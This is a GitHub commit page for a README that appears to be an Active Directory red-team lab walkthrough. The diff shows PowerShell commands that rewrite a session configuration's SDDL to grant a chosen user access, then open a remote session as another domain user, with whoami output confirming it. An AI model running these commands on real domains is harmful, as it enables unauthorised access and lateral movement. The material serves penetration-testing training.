Skip to content

Commit

Permalink
Typo :D
Browse files Browse the repository at this point in the history
  • Loading branch information
HitmanAlharbi authored Mar 10, 2022
1 parent ad96622 commit 8caf11f
Showing 1 changed file with 6 additions and 4 deletions.
10 changes: 6 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -774,14 +774,16 @@ Alias clear -> Clear-Host
Function Set-PSSessionConfiguration
...
// Let's change the SDDLS of admin configuration and allow our user to access
// Let's change the SDDL of microsoft.powershell32 configuration and allow our user to access
[finance-vanessa.gcbfinance.local]: PS>Set-PSSessionConfiguration -Name ITAdmin -SecurityDescriptorSddl "O:NSG:BAD:P(A;;GAGXGWGR;;;S-1-5-21-1708299476-1681750518-2103560891-1104)S:P(AU;FA;GA;;;WD)(AU;SA;GXGW;;;WD)"
[finance-vanessa.gcbfinance.local]: PS>Set-PSSessionConfiguration -Name microsoft.powershell32 -SecurityDescriptorSddl "O:NSG:BAD:P(A;;GAGXGWGR;;;S-1-5-21-1708299476-1681750518-2103560891-1104)S:P(AU;FA;GA;;;WD)(AU;SA;GXGW;;;WD)"
// Now we can access :D
PS C:\Users\itemployee14\Desktop\PS modules> Enter-PSSession -ComputerName finance-vanessa.gcbfinance.local -ConfigurationName ITAdmin -Credential finance\vanessa
[finance-vanessa.gcbfinance.local]: PS>
PS C:\Users\itemployee14\Desktop\PS modules> Enter-PSSession -ComputerName finance-vanessa.gcbfinance.local -ConfigurationName microsoft.powershell32 -Credential finance\vanessa
[finance-vanessa.gcbfinance.local]: PS C:\Users\vanessa\Documents> whoami
finance\vanessa
[finance-vanessa.gcbfinance.local]: PS C:\Users\vanessa\Documents>
```

 
Expand Down

0 comments on commit 8caf11f

Please sign in to comment.